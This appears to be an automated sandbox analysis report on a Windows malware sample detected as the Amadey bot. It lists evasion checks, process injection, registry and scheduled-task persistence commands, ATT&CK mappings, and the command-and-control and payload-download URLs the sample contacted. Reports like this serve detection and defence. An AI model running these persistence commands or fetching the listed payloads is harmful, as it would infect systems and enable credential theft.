Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Code function: 2_2_012D4130 GetVersionExW,GetModuleHandleA,GetProcAddress,GetNativeSystemInfo,GetSystemInfo,

2_2_012D4130

Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Thread delayed: delay time: 60000	Jump to behavior

Source: reg.exe, 00000008.00000002.375704544.0000000000BA0000.00000002.00000001.sdmp	Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: drbux.exe, 00000002.00000003.375941985.0000000000BDD000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAWack Pseudo-Interface 1
Source: drbux.exe, 00000002.00000003.375941985.0000000000BDD000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW
Source: reg.exe, 00000008.00000002.375704544.0000000000BA0000.00000002.00000001.sdmp	Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: reg.exe, 00000008.00000002.375704544.0000000000BA0000.00000002.00000001.sdmp	Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: vhNyVU8USk.exe, 00000001.00000002.354760053.00000000010C6000.00000004.00000020.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}oym
Source: vhNyVU8USk.exe, 00000001.00000002.354760053.00000000010C6000.00000004.00000020.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: reg.exe, 00000008.00000002.375704544.0000000000BA0000.00000002.00000001.sdmp	Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.

Source: C:\Users\user\Desktop\vhNyVU8USk.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Code function: 2_2_012E4F83 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

2_2_012E4F83

Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Code function: 2_2_012DBFA0 Sleep,LoadLibraryA,GetProcAddress,FreeLibrary,GetUserNameW,GetComputerNameExW,

2_2_012DBFA0

Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Code function: 2_2_012E6432 mov eax, dword ptr fs:[00000030h]		2_2_012E6432
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Code function: 2_2_012E26A1 mov eax, dword ptr fs:[00000030h]		2_2_012E26A1

Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Code function: 2_2_012D1D60 GetUserNameW,GetUserNameW,GetProcessHeap,GetProcessHeap,HeapAlloc,GetUserNameW,LookupAccountNameW,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,LookupAccountNameW,ConvertSidToStringSidW,GetProcessHeap,HeapFree,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,LocalFree,

2_2_012D1D60

Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Code function: 2_2_012E4F83 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		2_2_012E4F83
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Code function: 2_2_012E0C93 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		2_2_012E0C93

HIPS / PFW / Operating System Protection Evasion:

Contains functionality to inject code into remote processes

Show sources

Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Code function: 2_2_012D1EF0 GetModuleFileNameA,CreateProcessA,VirtualAlloc,GetThreadContext,ReadProcessMemory,GetModuleHandleA,GetProcAddress,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,ResumeThread,VirtualFree,VirtualFree,

2_2_012D1EF0

Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Code function: 2_2_012D29E0 ShellExecuteA,

2_2_012D29E0

Source: C:\Users\user\Desktop\vhNyVU8USk.exe	Process created: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe 'C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /C REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' /f /v Startup /t REG_SZ /d C:\Users\user\AppData\Local\Temp\8a643770bf\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Process created: C:\Windows\SysWOW64\schtasks.exe 'C:\Windows\System32\schtasks.exe' /Create /SC MINUTE /MO 1 /TN drbux.exe /TR 'C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe' /F	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' /f /v Startup /t REG_SZ /d C:\Users\user\AppData\Local\Temp\8a643770bf\	Jump to behavior

Source: drbux.exe, 00000002.00000002.605671398.0000000001B60000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: drbux.exe, 00000002.00000002.605671398.0000000001B60000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: drbux.exe, 00000002.00000002.605671398.0000000001B60000.00000002.00000001.sdmp	Binary or memory string: &Program Manager
Source: drbux.exe, 00000002.00000002.605671398.0000000001B60000.00000002.00000001.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Code function: 2_2_012E01D9 cpuid

2_2_012E01D9

Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\ProgramData\ca82a716069a53\cred.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\kliper.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\ProgramData\ca82a716069a53\cred.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\kliper.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\GoogleInstall.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\GoogleInstall.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\svchost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\svchost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

2_2_012D1D60

Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Code function: 2_2_012D4130 GetVersionExW,GetModuleHandleA,GetProcAddress,GetNativeSystemInfo,GetSystemInfo,

2_2_012D4130

Stealing of Sensitive Information:

Yara detected Amadey bot

Show sources

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 00000002.00000002.602859911.0000000000B2A000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.602919944.0000000000B56000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.435588336.0000000000B56000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.448106642.0000000000B4C000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.448153391.0000000000B6A000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.448130651.0000000000B56000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.435543227.0000000000B4A000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.602954967.0000000000B6A000.00000004.00000020.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Scheduled Task/Job1	Scheduled Task/Job1	Exploitation for Privilege Escalation1	Masquerading1	Credential API Hooking1	Security Software Discovery221	Remote Services	Credential API Hooking1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Native API1	Registry Run Keys / Startup Folder1	Process Injection112	Modify Registry1	Input Capture1	Process Discovery2	Remote Desktop Protocol	Input Capture1	Exfiltration Over Bluetooth	Ingress Tool Transfer2	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	DLL Side-Loading1	Scheduled Task/Job1	Virtualization/Sandbox Evasion21	Security Account Manager	Virtualization/Sandbox Evasion21	SMB/Windows Admin Shares	Archive Collected Data1	Automated Exfiltration	Non-Application Layer Protocol3	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Registry Run Keys / Startup Folder1	Process Injection112	NTDS	Account Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol13	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	DLL Side-Loading1	Obfuscated Files or Information1	LSA Secrets	System Owner/User Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	DLL Side-Loading1	Cached Domain Credentials	Remote System Discovery1	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	File and Directory Discovery1	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	System Information Discovery23	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
vhNyVU8USk.exe	53%	Virustotal		Browse
vhNyVU8USk.exe	36%	ReversingLabs	Win32.Downloader.Deyma
vhNyVU8USk.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	36%	ReversingLabs	Win32.Downloader.Deyma

Unpacked PE Files

Source	Detection	Scanner	Label	Download
19.1.drbux.exe.12d0000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
9.2.drbux.exe.12d0000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
25.1.drbux.exe.12d0000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
1.2.vhNyVU8USk.exe.2f0000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
9.0.drbux.exe.12d0000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
2.0.drbux.exe.12d0000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
2.2.drbux.exe.12d0000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
25.0.drbux.exe.12d0000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
25.2.drbux.exe.12d0000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
19.0.drbux.exe.12d0000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
1.0.vhNyVU8USk.exe.2f0000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
1.1.vhNyVU8USk.exe.2f0000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
19.2.drbux.exe.12d0000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
2.1.drbux.exe.12d0000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
9.1.drbux.exe.12d0000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://x-vpn.ug/hfV3vDtt/index.php?scr=1ncoded_	0%	Avira URL Cloud	safe
http://x-vpn.ug/hfV3vDtt/plugins/cred.dll	0%	Avira URL Cloud	safe
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	0%	URL Reputation	safe
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	0%	URL Reputation	safe
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	0%	URL Reputation	safe
http://x-vpn.ug/hfV3vDtt/index.phpp	0%	Avira URL Cloud	safe
http://ocsp.sectigo.com0	0%	URL Reputation	safe
http://ocsp.sectigo.com0	0%	URL Reputation	safe
http://ocsp.sectigo.com0	0%	URL Reputation	safe
http://x-vpn.ug/hfV3vDcom/attachments/837741922641903637/866064264027701248/svchost.exe	0%	Avira URL Cloud	safe
http://x-vpn.ug/K	0%	Avira URL Cloud	safe
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	0%	URL Reputation	safe
http://x-vpn.ug/hfV3vDtt/index.php?scr=1pp	0%	Avira URL Cloud	safe
http://x-vpn.ug/hfV3vDtt/index.php?scr=15V	0%	Avira URL Cloud	safe
http://x-vpn.ug/hfV3vDtt/index.php?scr=1b	0%	Avira URL Cloud	safe
http://x-vpn.ug/hfV3vDtt/index.phpe	0%	Avira URL Cloud	safe
https://sectigo.com/CPS0D	0%	URL Reputation	safe
https://sectigo.com/CPS0D	0%	URL Reputation	safe
https://sectigo.com/CPS0D	0%	URL Reputation	safe
http://x-vpn.ug/hfV3vDtt/index.php?scr=1	0%	Avira URL Cloud	safe
@#/l(Rb*	0%	Avira URL Cloud	safe
https://displaycatalogtt/index.php	0%	Avira URL Cloud	safe
http://x-vpn.ug/hfV3vDvDtt/index.php	0%	Avira URL Cloud	safe
http://x-vpn.ug/	0%	Avira URL Cloud	safe
http://x-vpn.ug/hfV3vDtt/index.php	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
cdn.discordapp.com	162.159.129.233	true	false		high
x-vpn.ug	185.114.247.54	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://x-vpn.ug/hfV3vDtt/plugins/cred.dll	true	Avira URL Cloud: safe	unknown
http://cdn.discordapp.com/attachments/837741922641903637/866064263189233694/GoogleInstall.exe	false		high
http://x-vpn.ug/hfV3vDtt/index.php?scr=1	true	Avira URL Cloud: safe	unknown
@#/l(Rb*	true	Avira URL Cloud: safe	low
http://x-vpn.ug/	true	Avira URL Cloud: safe	unknown
http://cdn.discordapp.com/attachments/837741922641903637/866052288628129812/kliper.exe	false		high
http://cdn.discordapp.com/attachments/837741922641903637/866064264027701248/svchost.exe	false		high
